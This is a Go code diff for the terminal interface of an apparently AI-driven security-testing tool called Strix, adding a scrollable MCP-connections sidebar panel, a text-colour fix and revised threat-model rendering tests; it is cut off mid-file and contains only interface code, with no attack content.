||||
@@ -599,7 +671,7 @@ func TestVulnerabilityListSupportsWheelAndPageNavigation(t *testing.T) {
|
||||
})
|
||||
}
|
||||
_, _, chatWidth, _ := model.layout()
|
||||
_, _, agentHeight := model.sidebarHeights()
|
||||
_, _, _, agentHeight := model.sidebarHeights()
|
||||
pageItems := model.vulnerabilityPageItems()
|
||||
|
||||
updated, _ := model.updateMouse(tea.MouseMsg{
|
||||
@@ -865,6 +937,20 @@ func TestPanelPaddingResetsLeakingLineBackground(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestFillBackgroundRestoresBaseForegroundAfterReset(t *testing.T) {
|
||||
const textFG = "\x1b[38;2;212;212;212m"
|
||||
view := "\x1b[38;2;167;139;250m◈ \x1b[0m\x1b[2mspawning\x1b[0m"
|
||||
filled := fillBackground(view)
|
||||
baseStyle := blackBG + textFG
|
||||
|
||||
if !strings.HasPrefix(filled, baseStyle) {
|
||||
t.Fatalf("frame does not set its base colors: %q", filled)
|
||||
}
|
||||
if got, want := strings.Count(filled, "\x1b[0m"+baseStyle), 2; got != want {
|
||||
t.Fatalf("base colors restored after %d resets, want %d: %q", got, want, filled)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMainTraceTreeAndFindingsRenderScrollbars(t *testing.T) {
|
||||
model := New(nil)
|
||||
model.width, model.height = 150, 35
|
||||
@@ -909,7 +995,7 @@ func TestMainScrollbarsSupportClickAndDrag(t *testing.T) {
|
||||
model.viewport.SetContent(model.viewportContent)
|
||||
showSidebar, _, chatWidth, chatHeight := model.layout()
|
||||
viewerHeight := model.viewerHeight()
|
||||
_, vulnHeight, agentHeight := model.sidebarHeights()
|
||||
_, vulnHeight, _, agentHeight := model.sidebarHeights()
|
||||
if !showSidebar {
|
||||
t.Fatal("test requires sidebar")
|
||||
}
|
||||
@@ -953,6 +1039,61 @@ func TestMainScrollbarsSupportClickAndDrag(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestMcpRosterScrollsByKeyWheelAndScrollbar(t *testing.T) {
|
||||
model := New(nil)
|
||||
model.width, model.height = 150, 35
|
||||
model.ready = true
|
||||
conns := make([]protocol.Connection, 0, 12)
|
||||
for i := 0; i < 12; i++ {
|
||||
conns = append(conns, protocol.Connection{Name: fmt.Sprintf("conn-%02d", i), ToolCount: 2})
|
||||
}
|
||||
model.snapshot.Connections = conns
|
||||
|
||||
showSidebar, _, chatWidth, _ := model.layout()
|
||||
if !showSidebar {
|
||||
t.Fatal("test requires sidebar")
|
||||
}
|
||||
viewerHeight := model.viewerHeight()
|
||||
_, vulnHeight, mcpHeight, agentHeight := model.sidebarHeights()
|
||||
mcpTop := viewerHeight + agentHeight + vulnHeight
|
||||
bottom := model.clampMcpOffset(1 << 30)
|
||||
if bottom == 0 {
|
||||
t.Fatalf("a roster of %d should overflow the panel", len(conns))
|
||||
}
|
||||
|
||||
// Wheel over the panel focuses it and advances the window.
|
||||
updated, _ := model.updateMouse(tea.MouseMsg{
|
||||
X: chatWidth + 2, Y: mcpTop + 1, Button: tea.MouseButtonWheelDown,
|
||||
})
|
||||
model = updated.(Model)
|
||||
if model.focus != focusMcp || model.mcpOffset != 3 {
|
||||
t.Fatalf("wheel scroll did not focus and advance roster: focus=%v offset=%d", model.focus, model.mcpOffset)
|
||||
}
|
||||
|
||||
// Page down pins to the bottom; up steps back one.
|
||||
updated, _ = model.updateMain(tea.KeyMsg{Type: tea.KeyPgDown})
|
||||
model = updated.(Model)
|
||||
if model.mcpOffset != bottom {
|
||||
t.Fatalf("page down did not reach the roster bottom: offset=%d want=%d", model.mcpOffset, bottom)
|
||||
}
|
||||
updated, _ = model.updateMain(tea.KeyMsg{Type: tea.KeyUp})
|
||||
model = updated.(Model)
|
||||
if model.mcpOffset != bottom-1 {
|
||||
t.Fatalf("up did not step the roster back one: offset=%d want=%d", model.mcpOffset, bottom-1)
|
||||
}
|
||||
|
||||
// Clicking the scrollbar thumb captures it and moves the window.
|
||||
model.mcpOffset = 0
|
||||
updated, _ = model.updateMouse(tea.MouseMsg{
|
||||
X: model.width - 3, Y: mcpTop + mcpHeight - 2,
|
||||
Button: tea.MouseButtonLeft, Action: tea.MouseActionPress,
|
||||
})
|
||||
model = updated.(Model)
|
||||
if model.draggingScrollbar != scrollbarMcp || model.mcpOffset == 0 {
|
||||
t.Fatalf("mcp scrollbar click failed: drag=%v offset=%d", model.draggingScrollbar, model.mcpOffset)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTerminalSnapshotWithoutAgentsDoesNotKeepLoading(t *testing.T) {
|
||||
tests := []struct {
|
||||
state string
|
||||
|
||||
@@ -59,6 +59,14 @@ func (m Model) updateMain(key tea.KeyMsg) (tea.Model, tea.Cmd) {
|
||||
m.ensureVulnerabilityVisible()
|
||||
return m, nil
|
||||
}
|
||||
if m.focus == focusMcp && len(m.snapshot.Connections) > 0 {
|
||||
delta := 1
|
||||
if key.String() == "up" {
|
||||
delta = -1
|
||||
}
|
||||
m.mcpOffset = m.clampMcpOffset(m.mcpOffset + delta)
|
||||
return m, nil
|
||||
}
|
||||
case "enter", " ":
|
||||
if m.focus == focusVulnerabilities && len(m.snapshot.Vulnerabilities) > 0 {
|
||||
if key.String() == "enter" {
|
||||
@@ -94,6 +102,10 @@ func (m Model) updateMain(key tea.KeyMsg) (tea.Model, tea.Cmd) {
|
||||
m.ensureVulnerabilityVisible()
|
||||
return m, nil
|
||||
}
|
||||
if m.focus == focusMcp && len(m.snapshot.Connections) > 0 {
|
||||
m.mcpOffset = m.clampMcpOffset(m.mcpOffset - m.mcpPageSize())
|
||||
return m, nil
|
||||
}
|
||||
m.focus = focusChat
|
||||
m.input.Blur()
|
||||
m.followOutput = false
|
||||
@@ -105,6 +117,10 @@ func (m Model) updateMain(key tea.KeyMsg) (tea.Model, tea.Cmd) {
|
||||
m.ensureVulnerabilityVisible()
|
||||
return m, nil
|
||||
}
|
||||
if m.focus == focusMcp && len(m.snapshot.Connections) > 0 {
|
||||
m.mcpOffset = m.clampMcpOffset(m.mcpOffset + m.mcpPageSize())
|
||||
return m, nil
|
||||
}
|
||||
m.focus = focusChat
|
||||
m.input.Blur()
|
||||
m.viewport.HalfViewDown()
|
||||
@@ -147,10 +163,10 @@ func (m Model) updateMouse(msg tea.MouseMsg) (tea.Model, tea.Cmd) {
|
||||
}
|
||||
showSidebar, _, chatWidth, chatHeight := m.layout()
|
||||
viewerHeight := m.viewerHeight()
|
||||
_, vulnHeight, agentHeight := m.sidebarHeights()
|
||||
_, vulnHeight, mcpHeight, agentHeight := m.sidebarHeights()
|
||||
x, y := msg.X, msg.Y
|
||||
if m.updateMainScrollbarMouse(
|
||||
msg, showSidebar, chatWidth, chatHeight, viewerHeight, agentHeight, vulnHeight,
|
||||
msg, showSidebar, chatWidth, chatHeight, viewerHeight, agentHeight, vulnHeight, mcpHeight,
|
||||
) {
|
||||
return m, nil
|
||||
}
|
||||
@@ -196,6 +212,10 @@ func (m Model) updateMouse(msg tea.MouseMsg) (tea.Model, tea.Cmd) {
|
||||
m.input.Blur()
|
||||
m.vulnOffset = max(0, m.vulnOffset-3)
|
||||
m.keepVulnerabilitySelectionInWindow()
|
||||
case mcpHeight > 0 && y < viewerHeight+agentHeight+vulnHeight+mcpHeight:
|
||||
m.focus = focusMcp
|
||||
m.input.Blur()
|
||||
m.mcpOffset = m.clampMcpOffset(m.mcpOffset - 3)
|
||||
}
|
||||
return m, nil
|
||||
}
|
||||
@@ -222,6 +242,10 @@ func (m Model) updateMouse(msg tea.MouseMsg) (tea.Model, tea.Cmd) {
|
||||
totalRows, _ := m.vulnerabilityScrollRows()
|
||||
m.vulnOffset = min(max(0, totalRows-m.vulnerabilityPageSize()), m.vulnOffset+3)
|
||||
m.keepVulnerabilitySelectionInWindow()
|
||||
case mcpHeight > 0 && y < viewerHeight+agentHeight+vulnHeight+mcpHeight:
|
||||
m.focus = focusMcp
|
||||
m.input.Blur()
|
||||
m.mcpOffset = m.clampMcpOffset(m.mcpOffset + 3)
|
||||
}
|
||||
return m, nil
|
||||
}
|
||||
@@ -303,7 +327,7 @@ func (m Model) updateMouse(msg tea.MouseMsg) (tea.Model, tea.Cmd) {
|
||||
func (m *Model) updateMainScrollbarMouse(
|
||||
msg tea.MouseMsg,
|
||||
showSidebar bool,
|
||||
chatWidth, chatHeight, viewerHeight, agentHeight, vulnHeight int,
|
||||
chatWidth, chatHeight, viewerHeight, agentHeight, vulnHeight, mcpHeight int,
|
||||
) bool {
|
||||
if msg.Action == tea.MouseActionRelease {
|
||||
if m.draggingScrollbar == scrollbarNone {
|
||||
@@ -313,18 +337,18 @@ func (m *Model) updateMainScrollbarMouse(
|
||||
return true
|
||||
}
|
||||
if msg.Action == tea.MouseActionMotion && m.draggingScrollbar != scrollbarNone {
|
||||
m.scrollFromMouse(m.draggingScrollbar, msg.Y, chatHeight, viewerHeight, agentHeight)
|
||||
m.scrollFromMouse(m.draggingScrollbar, msg.Y, chatHeight, viewerHeight, agentHeight, vulnHeight)
|
||||
return true
|
||||
}
|
||||
if msg.Action != tea.MouseActionPress || msg.Button != tea.MouseButtonLeft {
|
||||
return false
|
||||
}
|
||||
target := m.scrollbarAt(msg, showSidebar, chatWidth, chatHeight, viewerHeight, agentHeight, vulnHeight)
|
||||
target := m.scrollbarAt(msg, showSidebar, chatWidth, chatHeight, viewerHeight, agentHeight, vulnHeight, mcpHeight)
|
||||
if target == scrollbarNone {
|
||||
return false
|
||||
}
|
||||
m.draggingScrollbar = target
|
||||
m.scrollFromMouse(target, msg.Y, chatHeight, viewerHeight, agentHeight)
|
||||
m.scrollFromMouse(target, msg.Y, chatHeight, viewerHeight, agentHeight, vulnHeight)
|
||||
return true
|
||||
}
|
||||
|
||||
@@ -341,8 +365,9 @@ func nearColumn(x, column int) bool {
|
||||
func (m Model) scrollbarAt(
|
||||
msg tea.MouseMsg,
|
||||
showSidebar bool,
|
||||
chatWidth, chatHeight, viewerHeight, agentHeight, vulnHeight int,
|
||||
chatWidth, chatHeight, viewerHeight, agentHeight, vulnHeight, mcpHeight int,
|
||||
) scrollbarTarget {
|
||||
mcpTop := viewerHeight + agentHeight + vulnHeight
|
||||
switch {
|
||||
case nearColumn(msg.X, chatWidth-2) && msg.Y >= 1 && msg.Y < chatHeight-1 &&
|
||||
m.viewport.TotalLineCount() > m.viewport.VisibleLineCount():
|
||||
@@ -358,13 +383,20 @@ func (m Model) scrollbarAt(
|
||||
if totalRows > m.vulnerabilityPageSize() {
|
||||
return scrollbarFindings
|
||||
}
|
||||
// The roster scrolls below a fixed header, so its bar starts two rows into
|
||||
// the panel (border then header) rather than one.
|
||||
case showSidebar && mcpHeight > 0 && nearColumn(msg.X, m.width-3) &&
|
||||
msg.Y >= mcpTop+2 && msg.Y < mcpTop+mcpHeight-1:
|
||||
if len(m.snapshot.Connections) > m.mcpPageSize() {
|
||||
return scrollbarMcp
|
||||
}
|
||||
}
|
||||
return scrollbarNone
|
||||
}
|
||||
|
||||
func (m *Model) scrollFromMouse(
|
||||
target scrollbarTarget,
|
||||
y, chatHeight, viewerHeight, agentHeight int,
|
||||
y, chatHeight, viewerHeight, agentHeight, vulnHeight int,
|
||||
) {
|
||||
switch target {
|
||||
case scrollbarTrace:
|
||||
@@ -390,6 +422,13 @@ func (m *Model) scrollFromMouse(
|
||||
// The offset is a row, so dragging moves the list continuously.
|
||||
m.vulnOffset = scrollbarOffset(y-viewerHeight-agentHeight-1, height, totalRows, height)
|
||||
m.keepVulnerabilitySelectionInWindow()
|
||||
case scrollbarMcp:
|
||||
height := m.mcpPageSize()
|
||||
total := len(m.snapshot.Connections)
|
||||
m.focus = focusMcp
|
||||
m.input.Blur()
|
||||
// The bar starts two rows into the panel (border then the fixed header).
|
||||
m.mcpOffset = scrollbarOffset(y-viewerHeight-agentHeight-vulnHeight-2, height, total, height)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -545,6 +584,9 @@ func (m *Model) cycleFocus(delta int) {
|
||||
if len(m.snapshot.Vulnerabilities) > 0 {
|
||||
available = append(available, focusVulnerabilities)
|
||||
}
|
||||
if len(m.snapshot.Connections) > 0 {
|
||||
available = append(available, focusMcp)
|
||||
}
|
||||
}
|
||||
idx := 0
|
||||
for i, focus := range available {
|
||||
|
||||
@@ -352,21 +352,28 @@ func (m Model) toastOverlay(view string) string {
|
||||
return strings.Join(bg, "\n")
|
||||
}
|
||||
|
||||
// blackBG is the SGR that selects a solid black background.
|
||||
const blackBG = "\x1b[48;2;0;0;0m"
|
||||
// Base frame colors are reapplied after full SGR resets so the TUI does not
|
||||
// inherit an unreadable foreground from the user's terminal profile.
|
||||
const (
|
||||
blackBG = "\x1b[48;2;0;0;0m"
|
||||
textFG = "\x1b[38;2;212;212;212m"
|
||||
baseFrameColors = blackBG + textFG
|
||||
)
|
||||
|
||||
// fillBackground paints the whole frame black like Textual's Screen background.
|
||||
// Bubble Tea has no screen compositor, so any cell the view does not explicitly
|
||||
// color shows the terminal's default background. lipgloss emits a full reset
|
||||
// (\x1b[0m) at the end of every styled span, which also clears the background, so
|
||||
// we reassert black after each reset (and at the start). Spans that set their own
|
||||
// background — inline code, selected rows, buttons — keep it, because their color
|
||||
// is emitted before the reset.
|
||||
// (\x1b[0m) at the end of every styled span, which clears both foreground and
|
||||
// background. Reasserting only black made uncolored and faint text inherit the
|
||||
// terminal profile's foreground; light profiles therefore rendered that text
|
||||
// black-on-black. Reapply both base colors after each reset (and at the start).
|
||||
// Spans that set their own colors — inline code, selected rows, buttons — keep
|
||||
// them, because their color is emitted after the base style.
|
||||
func fillBackground(view string) string {
|
||||
if view == "" {
|
||||
return view
|
||||
}
|
||||
return blackBG + strings.ReplaceAll(view, "\x1b[0m", "\x1b[0m"+blackBG)
|
||||
return baseFrameColors + strings.ReplaceAll(view, "\x1b[0m", "\x1b[0m"+baseFrameColors)
|
||||
}
|
||||
|
||||
func (m Model) splashView() string {
|
||||
@@ -500,7 +507,7 @@ func (m Model) mainView() string {
|
||||
func (m Model) sidebarView(width, height int) string {
|
||||
// Stats box height fits its content (auto, max 15); vulns panel max-height 12.
|
||||
statsBody := m.statsView()
|
||||
statsHeight, vulnHeight, agentHeight := m.sidebarHeights()
|
||||
statsHeight, vulnHeight, mcpHeight, agentHeight := m.sidebarHeights()
|
||||
agentBorder := dark
|
||||
if m.focus == focusAgents {
|
||||
agentBorder = green
|
||||
@@ -539,11 +546,19 @@ func (m Model) sidebarView(width, height int) string {
|
||||
)
|
||||
parts = append(parts, lipgloss.NewStyle().Width(width-2).Height(vulnRows).Border(lipgloss.RoundedBorder()).BorderForeground(vulnBorder).Padding(0, 1).Render(findings))
|
||||
}
|
||||
if mcpHeight > 0 {
|
||||
mcpBorder := dark
|
||||
if m.focus == focusMcp {
|
||||
mcpBorder = green
|
||||
}
|
||||
mcpRows := max(1, mcpHeight-2)
|
||||
parts = append(parts, lipgloss.NewStyle().Width(width-2).Height(mcpRows).Border(lipgloss.RoundedBorder()).BorderForeground(mcpBorder).Padding(0, 1).Render(m.mcpConnectionsView(width-4, mcpRows)))
|
||||
}
|
||||
parts = append(parts, lipgloss.NewStyle().Width(width-2).Height(statsHeight-2).Border(lipgloss.RoundedBorder()).BorderForeground(dark).Padding(0, 1).Render(statsBody))
|
||||
return strings.Join(parts, "\n")
|
||||
}
|
||||
|
||||
func (m Model) sidebarHeights() (statsHeight, vulnHeight, agentHeight int) {
|
||||
func (m Model) sidebarHeights() (statsHeight, vulnHeight, mcpHeight, agentHeight int) {
|
||||
// Measure the stats panel the way its box will render it: a long model name
|
||||
// wraps inside the sidebar, and counting only its newlines would size the
|
||||
// box short and push the whole frame past the bottom of the terminal.
|
||||
@@ -552,7 +567,13 @@ func (m Model) sidebarHeights() (statsHeight, vulnHeight, agentHeight int) {
|
||||
if len(m.snapshot.Vulnerabilities) > 0 {
|
||||
vulnHeight = min(12, len(m.vulnerabilityRows(m.vulnerabilityListWidth()))+2)
|
||||
}
|
||||
agentHeight = max(3, m.height-m.viewerHeight()-statsHeight-vulnHeight)
|
||||
// One header line + one line per connection + the box border (2). Capped so a
|
||||
// long roster cannot crowd out the agent tree; a roster past the cap scrolls
|
||||
// inside the panel. Absent entirely when the run has no MCP connections.
|
||||
if len(m.snapshot.Connections) > 0 {
|
||||
mcpHeight = min(9, len(m.snapshot.Connections)+3)
|
||||
}
|
||||
agentHeight = max(3, m.height-m.viewerHeight()-statsHeight-vulnHeight-mcpHeight)
|
||||
return
|
||||
}
|
||||
|
||||
@@ -596,7 +617,11 @@ func (m Model) statsView() string {
|
||||
if b.Len() > 0 {
|
||||
b.WriteString("\n")
|
||||
}
|
||||
b.WriteString(lipgloss.NewStyle().Foreground(green).Render("ChatGPT subscription"))
|
||||
label := m.snapshot.SubscriptionLabel
|
||||
if label == "" {
|
||||
label = "ChatGPT subscription"
|
||||
}
|
||||
b.WriteString(lipgloss.NewStyle().Foreground(green).Render(label))
|
||||
}
|
||||
total := numberValue(m.snapshot.Usage["total_tokens"])
|
||||
if total > 0 {
|
||||
@@ -621,6 +646,111 @@ func (m Model) statsView() string {
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// mcpConnectionsView renders the sidebar MCP panel: a header carrying the total
|
||||
// connection count, then one row per connection with a status glyph and its tool
|
||||
// count (or "offline").
|
||||
// - a solid green dot marks an attached, idle connection;
|
||||
// - a green cycling quarter-circle (◐ ◓ ◑ ◒) marks a call running against it;
|
||||
// - a red dot plus "offline" marks a connection whose live session has died.
|
||||
//
|
||||
// The header stays fixed while the roster below it scrolls: when there are more
|
||||
// connections than the panel can show, the visible window is chosen by
|
||||
// m.mcpOffset and withVerticalScrollbar draws a thumb in the reserved last
|
||||
// column, exactly as the agent tree and findings list scroll.
|
||||
//
|
||||
// "In use" is derived from the connection-tagged tool-call events in the stream,
|
||||
// not carried on the connection roster, so a call in flight shows motion without
|
||||
// any extra backend signal. The quarter-circle rides the shared sweepFrame tick.
|
||||
func (m Model) mcpConnectionsView(width, rows int) string {
|
||||
conns := m.snapshot.Connections
|
||||
header := truncate(lipgloss.NewStyle().Foreground(dim).Render(
|
||||
fmt.Sprintf("MCP Connections (%d)", len(conns))), width)
|
||||
bodyRows := max(0, rows-1)
|
||||
if bodyRows == 0 {
|
||||
return header
|
||||
}
|
||||
inUse := m.mcpInUse()
|
||||
frames := []rune{'◐', '◓', '◑', '◒'}
|
||||
// Reserve the scrollbar column whether or not the bar is showing, so the
|
||||
// roster does not shift sideways as it grows past the panel.
|
||||
rosterWidth := max(1, width-1)
|
||||
start := windowStart(m.mcpOffset, len(conns), bodyRows)
|
||||
end := min(len(conns), start+bodyRows)
|
||||
lines := make([]string, 0, max(0, end-start))
|
||||
for i := start; i < end; i++ {
|
||||
conn := conns[i]
|
||||
var glyph, right string
|
||||
switch {
|
||||
case conn.Dead:
|
||||
glyph = lipgloss.NewStyle().Foreground(red).Render("●")
|
||||
right = lipgloss.NewStyle().Foreground(red).Render("offline")
|
||||
case inUse[conn.Name]:
|
||||
glyph = lipgloss.NewStyle().Foreground(green).Render(string(frames[m.sweepFrame%len(frames)]))
|
||||
right = lipgloss.NewStyle().Foreground(dim).Render(toolsLabel(conn.ToolCount))
|
||||
default:
|
||||
glyph = lipgloss.NewStyle().Foreground(green).Render("●")
|
||||
right = lipgloss.NewStyle().Foreground(dim).Render(toolsLabel(conn.ToolCount))
|
||||
}
|
||||
rightWidth := lipgloss.Width(right)
|
||||
name := truncate(lipgloss.NewStyle().Foreground(textColor).Render(conn.Name), max(1, rosterWidth-2-rightWidth-1))
|
||||
gap := max(1, rosterWidth-2-lipgloss.Width(name)-rightWidth)
|
||||
lines = append(lines, glyph+" "+name+strings.Repeat(" ", gap)+right)
|
||||
}
|
||||
roster := withVerticalScrollbar(
|
||||
strings.Join(lines, "\n"),
|
||||
width,
|
||||
bodyRows,
|
||||
len(conns),
|
||||
bodyRows,
|
||||
m.mcpOffset,
|
||||
m.scrollbarThumb(scrollbarMcp),
|
||||
)
|
||||
return header + "\n" + roster
|
||||
}
|
||||
|
||||
// mcpPageSize is how many connection rows the roster shows at once, below its
|
||||
// fixed header line.
|
||||
func (m Model) mcpPageSize() int {
|
||||
_, _, mcpHeight, _ := m.sidebarHeights()
|
||||
// mcpHeight = 2 (border) + header (1) + roster rows.
|
||||
return max(1, mcpHeight-3)
|
||||
}
|
||||
|
||||
// clampMcpOffset keeps the roster offset within the range that still shows a
|
||||
// full page of connections at the bottom.
|
||||
func (m Model) clampMcpOffset(offset int) int {
|
||||
return min(max(0, offset), max(0, len(m.snapshot.Connections)-m.mcpPageSize()))
|
||||
}
|
||||
|
||||
// mcpInUse is the set of MCP connections with a tool call currently running,
|
||||
// read off the connection-tagged tool events the model already holds. Each MCP
|
||||
// dispatch event carries the connection name (mcp_connection) and a status that
|
||||
// moves running -> completed as its own event is upserted, so a connection is
|
||||
// "in use" exactly while one of its events is still running.
|
||||
func (m Model) mcpInUse() map[string]bool {
|
||||
inUse := map[string]bool{}
|
||||
for _, event := range m.snapshot.Events {
|
||||
if event.Type != "tool" {
|
||||
continue
|
||||
}
|
||||
connection := render.StringValue(event.Data["mcp_connection"])
|
||||
if connection == "" {
|
||||
continue
|
||||
}
|
||||
if render.StringValue(event.Data["status"]) == "running" {
|
||||
inUse[connection] = true
|
||||
}
|
||||
}
|
||||
return inUse
|
||||
}
|
||||
|
||||
func toolsLabel(count int) string {
|
||||
if count == 1 {
|
||||
return "1 tool"
|
||||
}
|
||||
return fmt.Sprintf("%d tools", count)
|
||||
}
|
||||
|
||||
func numberValue(value any) int64 {
|
||||
switch v := value.(type) {
|
||||
case float64:
|
||||
|
||||
@@ -134,7 +134,7 @@ func clampVulnerabilityOffset(offset, total, height int) int {
|
||||
}
|
||||
|
||||
func (m Model) vulnerabilityPageSize() int {
|
||||
_, vulnHeight, _ := m.sidebarHeights()
|
||||
_, vulnHeight, _, _ := m.sidebarHeights()
|
||||
return max(1, vulnHeight-2)
|
||||
}
|
||||
|
||||
|
||||
@@ -33,6 +33,8 @@ func (m *Model) handleEnvelope(envelope protocol.Envelope) tea.Cmd {
|
||||
m.stateRevision = update.Revision
|
||||
if m.snapshot.Error != nil {
|
||||
m.errorText = *m.snapshot.Error
|
||||
} else {
|
||||
m.errorText = ""
|
||||
}
|
||||
if m.snapshot.SetupMode {
|
||||
// The start screen is its own landing page; never sit on the
|
||||
@@ -79,6 +81,10 @@ func (m *Model) handleEnvelope(envelope protocol.Envelope) tea.Cmd {
|
||||
if collection := m.resyncRequests[envelope.RequestID]; collection != "" {
|
||||
m.resyncRequested[collection] = false
|
||||
delete(m.resyncRequests, envelope.RequestID)
|
||||
} else {
|
||||
for collection := range m.resyncRequested {
|
||||
m.resyncRequested[collection] = false
|
||||
}
|
||||
}
|
||||
}
|
||||
message := "Command failed"
|
||||
|
||||
@@ -32,6 +32,17 @@ type Agent struct {
|
||||
ErrorMessage string `json:"error_message"`
|
||||
}
|
||||
|
||||
// Connection is one MCP connection the run may reach, as the backend projects
|
||||
// it for the sidebar's MCP panel. Non-secret by construction: only the display
|
||||
// name, how many tools the connection offers, and whether its live session has
|
||||
// died (its reconnect-retry gave up). "In use" is not carried here; the client
|
||||
// derives it from the connection-tagged tool-call events in the event stream.
|
||||
type Connection struct {
|
||||
Name string `json:"name"`
|
||||
ToolCount int `json:"tool_count"`
|
||||
Dead bool `json:"dead"`
|
||||
}
|
||||
|
||||
type Event struct {
|
||||
ID string `json:"id"`
|
||||
Type string `json:"type"`
|
||||
@@ -68,6 +79,8 @@ type Snapshot struct {
|
||||
Vulnerabilities []map[string]any `json:"-"`
|
||||
Usage map[string]any `json:"usage"`
|
||||
Subscription bool `json:"subscription"`
|
||||
SubscriptionLabel string `json:"subscription_label"`
|
||||
Connections []Connection `json:"connections"`
|
||||
ViewerStatus string `json:"viewer_status"`
|
||||
ViewerURL *string `json:"viewer_url"`
|
||||
Error *string `json:"error"`
|
||||
|
||||
@@ -96,14 +96,12 @@ func TestCoverageDuplicateRejectionSurfacesTheError(t *testing.T) {
|
||||
requireContains(t, out, "/login", "already has coverage entry a1b2c3")
|
||||
}
|
||||
|
||||
func TestGetThreatModelRendersStalenessAndAmendments(t *testing.T) {
|
||||
func TestGetThreatModelRendersAmendments(t *testing.T) {
|
||||
out := ansi.Strip(Tool(tool("get_threat_model",
|
||||
map[string]any{"target": "https://app.example.com"},
|
||||
map[string]any{
|
||||
"success": true,
|
||||
"found": true,
|
||||
"stale": true,
|
||||
"cached_revision": "0123456789abcdef",
|
||||
"success": true,
|
||||
"found": true,
|
||||
"content": "# Overview\nMulti-tenant billing app.\n\n" +
|
||||
"## Trust Boundaries and Assumptions\n\n## Attack Surface\n",
|
||||
"amendments": []any{
|
||||
@@ -116,7 +114,6 @@ func TestGetThreatModelRendersStalenessAndAmendments(t *testing.T) {
|
||||
"completed")))
|
||||
requireContains(t, out,
|
||||
"Threat Model", "https://app.example.com",
|
||||
"stale", "01234567",
|
||||
"1 amendment(s)", "ReconAgent", "staging host shares the production database",
|
||||
"Multi-tenant billing app.", "Overview", "Trust Boundaries and Assumptions",
|
||||
)
|
||||
@@ -126,7 +123,7 @@ func TestGetThreatModelMissingModelIsExplicit(t *testing.T) {
|
||||
out := ansi.Strip(Tool(tool("get_threat_model",
|
||||
map[string]any{"target": "10.0.0.5"},
|
||||
map[string]any{"success": true, "found": false}, "completed")))
|
||||
requireContains(t, out, "No model cached for this target yet")
|
||||
requireContains(t, out, "No model derived for this target yet")
|
||||
}
|
||||
|
||||
func TestSaveThreatModelWarnsWhenAmendmentsAreCleared(t *testing.T) {
|
||||
@@ -134,15 +131,10 @@ func TestSaveThreatModelWarnsWhenAmendmentsAreCleared(t *testing.T) {
|
||||
map[string]any{"target": "app.example.com", "content": "# Overview\nA thing.\n"},
|
||||
map[string]any{
|
||||
"success": true,
|
||||
"revision": "unversioned",
|
||||
"amendments_cleared": 2,
|
||||
},
|
||||
"completed")))
|
||||
requireContains(t, out, "Threat Model Saved", "saved", "cleared 2 amendment(s)")
|
||||
// An unversioned target has no revision worth printing.
|
||||
if strings.Contains(out, "unversioned") {
|
||||
t.Fatalf("unversioned revision should not be rendered:\n%s", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAmendThreatModelRendersAddendum(t *testing.T) {
|
||||
|
||||
95
strix/interface/tui/internal/render/mcp.go
Normal file
95
strix/interface/tui/internal/render/mcp.go
Normal file
@@ -0,0 +1,95 @@
|
||||
package render
|
||||
|
||||
import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// MCP tools (tools from the servers the user connected)
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
const mcpIcon = "🔌 "
|
||||
|
||||
// renderMcpTool renders a call to a tool from one of the user's MCP servers.
|
||||
//
|
||||
// Its own icon and color so a call that left Strix for a server the user
|
||||
// connected is obvious while scrolling a transcript. The action leads and the
|
||||
// server trails: the model-facing name is the connection name and the tool name
|
||||
// stuck together, so leading with the whole name buries the part a reader wants
|
||||
// behind a connection name that can be long or opaque.
|
||||
//
|
||||
// The result is deliberately not rendered, for the same reason
|
||||
// renderGenericTool leaves it out: an MCP result is whatever an outside server
|
||||
// chose to return, often multi-kilobyte JSON, and it floods the screen. The full
|
||||
// result is in the event data, the run log, and the `strix view` viewer.
|
||||
func renderMcpTool(connection, toolName string, args map[string]any, status string) string {
|
||||
var b strings.Builder
|
||||
b.WriteString(mcpIcon + Bold(Mint).Render(toolName))
|
||||
b.WriteString(Dim().Render(" via MCP server ") + Col(Slate).Render(connection) + "\n")
|
||||
for _, k := range SortedKeys(args) {
|
||||
b.WriteString(" " + Dim().Render(k) + ": " + StringValue(args[k]) + "\n")
|
||||
}
|
||||
icon, style := statusIcon(status)
|
||||
b.WriteString(style.Render(icon))
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// renderMcpInspect renders describe_mcp: a request to inspect one connection's
|
||||
// catalog rather than a call to a tool on it. There is no underlying tool, so
|
||||
// the connection is the whole subject and leads. Same icon and colors as a tool
|
||||
// call so the two read as one family while scrolling a transcript.
|
||||
func renderMcpInspect(connection, status string) string {
|
||||
var b strings.Builder
|
||||
b.WriteString(mcpIcon + Dim().Render("Inspecting MCP server ") + Bold(Mint).Render(connection) + "\n")
|
||||
icon, style := statusIcon(status)
|
||||
b.WriteString(style.Render(icon))
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// renderMcpList renders list_mcps: the inventory of connections the run may
|
||||
// reach, not a call to any of them, so no connection leads and the event
|
||||
// carries no connection tag. Unlike the other MCP results, the names are worth
|
||||
// showing: Strix assembled them itself from the run's registered connections,
|
||||
// so they are short and never an outside server's payload.
|
||||
func renderMcpList(result any, status string) string {
|
||||
var b strings.Builder
|
||||
b.WriteString(mcpIcon + Dim().Render("Listing MCP servers") + "\n")
|
||||
for _, conn := range mcpConnectionEntries(result) {
|
||||
b.WriteString(" " + Col(Slate).Render(conn.name))
|
||||
if conn.dead {
|
||||
b.WriteString(Dim().Render(" · ") + Col(Red).Render("offline"))
|
||||
}
|
||||
b.WriteString("\n")
|
||||
}
|
||||
icon, style := statusIcon(status)
|
||||
b.WriteString(style.Render(icon))
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// mcpListEntry is one connection read out of a list_mcps result: its display
|
||||
// name and whether its live session has died.
|
||||
type mcpListEntry struct {
|
||||
name string
|
||||
dead bool
|
||||
}
|
||||
|
||||
// mcpConnectionEntries reads the connections out of a list_mcps result, which is
|
||||
// {"connections": [{"name": ..., "dead": ...}, ...]}. Anything else (still
|
||||
// running, or a result bounded down to a string) yields no entries, and the
|
||||
// header plus status stand alone.
|
||||
